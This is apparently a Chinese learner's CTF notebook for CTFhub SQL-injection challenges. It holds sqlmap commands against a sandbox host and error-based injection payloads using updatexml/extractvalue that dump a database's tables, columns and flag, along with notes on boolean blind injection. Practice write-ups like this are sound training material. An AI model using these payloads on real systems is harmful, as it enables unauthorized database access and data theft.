Day5 CTFhub
1.SQL注入-字符型
使用sqlmap扫描当前数据库
sqlmap -u http://challenge-9888653b34aba397.sandbox.ctfhub.com:10800/?id=1 --current-db
1)Do you want to skip test payloads specific for other DBMSes?
#看起来后端DBMS是“mysql”。是否要跳过特定于其他DBMS的测试有效负载? #已经识别出来mysql数据库,直接跳过,不在扫描其他类型的数据库,输入Y
2)for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n] #对于其余的测试,是否要包括扩展提供的级别(1)和风险(1)值的“mysql”的所有测试? #不需要其他测试,直接输入n
3)GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
#get参数“id”易受攻击。你想继续测试其他人吗(如果有的话)?[y/n] 输入n
sqlmap -u http://challenge-9888653b34aba397.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
sqlmap -u http://challenge-9888653b34aba397.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns
sqlmap -u http://challenge-9888653b34aba397.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag -dump
2.SQL注入-报错注入
2.1 基于extractvalue()和updatexml()的报错注入
**注:**MySQL 5.1.5版本后才包含ExtractValue()和UpdateXML()这2个函数
1)extractvalue() :对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用
标签查找元素一样
extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式。
如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))
使用concat()拼接 ‘ / ‘ 效果相同。(concat下文讲解,是分割字符那一卦的)
这里在’anything’中查询不到 位置是 /database()的内容,
但也没有语法错误,不会报错。
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database()))))
下面故意写入语法错误:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))
达成报错目的。以~开头的内容不是xml格式的语法,报错并显示无法识别的内容是什么。(security)
有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
这里查询前5位示意:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))
2)updatexml()
与extractvalue()类似,是更新xml文档的函数。
语法updatexml(目标xml文档,xml路径,更新的内容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
报错方式相同:
select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))
同样是32位查询。
2.2 利用concat和updatexml函数组合
mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用。
concat函数是mysql的字符串连接函数
【字符串连接函数】
函数具体介绍: http://www.cnblogs.com/lcamry/p/5715634.html
- concat(str1,str2,…)——没有分隔符地连接字符串
- concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
- group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据
【在sql注入中其的作用重点】
concat中的sql语句可以被执行!
select concat((select last_name from users limit 0,1))
select` `concat(0x7e,(``select` `user``()) ,0x7e)
验证结果:16进制也能被自动转义(0x7e是 ~符号)
【组合使用】
select updatexml(0,concat(0x7e,(select user()),0x7e),0)
验证结果:concat执行sql注入语句,再利用updatexml的报错信息返回sql语句执行结果。这里你可能会问,难道不能直接用updatexml执行sql语句么?我试了一下,并不能,原因可能是updatexml第二个参数必须是字符串吧,所以才需要借助返回值为字符串的concat函数。
2.3 实操
1.爆数据库
1 and updatexml(1,concat(0x7e,database()),1)
2.爆表
1 and updatexml(1,concat(0x26,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)
updatexml的第二个参数:利用concat执行sql注入语句,利用updatexml报错。concat(0x26,(select table_name from information_schema.tables where table_schema=database() limit 1,1))
3.爆列
1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag' limit 0,1),0x7e),1)
limit 0,1 是第一列的意思?
4.爆数据项——flag
1 and updatexml(1,concat(0x7e,(select flag from sqli.flag limit 0,1),0x7e),1)
flag:~ctfhub{02c4d5b0e3f8e47ad5ecb241
(最后还有一个0x7e怎么没啦?输入后这个flag也不对。后面那部分呢?)
看wp:哦哦哦想起来那个函数限制,能查询字符串的最大长度为32。
1 and updatexml(1,concat(0x7e,mid((select flag from sqli.flag ),32),0x7e),1)
结合:flag:ctfhub{02c4d5b0e3f8e47ad5ecb241}
超过32,就需要用substring()函数截取,一次查看32位。
这里是updatexml()的超过32位:
**way①:**使用substring(hex(concat(…))) //理论上可以,但是出不来??
substring():截取字符串
hex():转化10进制为16进制
研究:concat(‘#’,substring(hex((select database())),1,5))
substring(x,1,5)
x = hex((select database()))
hex(y)
反推:
1 and updatexml(1,concat(0x7e,mid((select flag from sqli.flag ),32),0x7e),1)
hex((select flag from sqli.flag))
subtring(hex((select flag from sqli.flag)),1,32)
1 and updatexml(1,concat(0x7e,subtring(hex((select flag from sqli.flag)),1,32),0x7e),1) //写得不对?
这里是sqli数据库:Substring()函数,经过测试,并不适合sqlite数据库。
way②:mid()函数
MID() 函数用于从文本字段中提取字符。
SELECT MID(column_name,start[,length]) FROM table_name;
column_name | 必需。要提取字符的字段。 |
---|---|
start | 必需。规定开始位置(起始值是 1)。 |
length | 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 |
PS:Oracle 中没有 MID 函数,有 substr 函数有类似功能:
select substr(("列名",a,b) from <table_name>;
SELECT substr(name,1,4) AS ShortTitle
FROM Websites;
3.SQL注入-布尔盲注
WP参考:https://blog.youkuaiyun.com/weixin_45254208/article/details/107505114
布尔盲注基础参考:https://blog.youkuaiyun.com/weixin_45146120/article/details/100104131
https://www.cnblogs.com/c1047509362/p/12835777.html
https://my.oschina.net/u/4610683/blog/4492287
(很多都是结合在sqlilabs上的练习题)
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句
true
、false
使web页面返回true或者false,从而达到注入的目的来获取信息
ascii() 函数,返回字符ascii码值
参数 : str单字符
length() 函数,返回字符串的长度
参数 : str 字符串
left() 函数,返回从左至右截取固定长度的字符串
参数str,length
str : 字符串
length:截取长度
substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
参数,str,pos,length
str: 字符串
pos:开始位置
length: 截取长度
注入流程
- 求当前数据库长度
- 求当前数据库表的ASCII
- 求当前数据库中表的个数
- 求当前数据库中其中一个表名的长度
- 求当前数据库中其中一个表名的ASCII
- 求列名的数量
- 求列名的长度
- 求列名的ASCII
- 求字段的数量
- 求字段内容的长度
- 求字段内容对应的ASCII
试一下发现,只要查询语句正确就返回query_success,没有数据也成功。没有办法用and组合注入。
if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。
mysql在执行这条语句的时候会先对整体语句进行判断语句是否有错误,这样无论expr1处怎样,都是error。
子查询格式:select * from users where id=(select username from users);
但是这个有个要求就是子查询返回的结果必须只有一条记录,否则就报错.
然后写脚本,一个一个取。后面再写,现在先练习手工注入。
n_44732566/article/details/104455318
if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。
mysql在执行这条语句的时候会先对整体语句进行判断语句是否有错误,这样无论expr1处怎样,都是error。
子查询格式:select * from users where id=(select username from users);
但是这个有个要求就是子查询返回的结果必须只有一条记录,否则就报错.
然后写脚本,一个一个取。后面再写,现在先练习手工注入。
(WP参考:https://blog.youkuaiyun.com/weixin_45254208/article/details/107505114)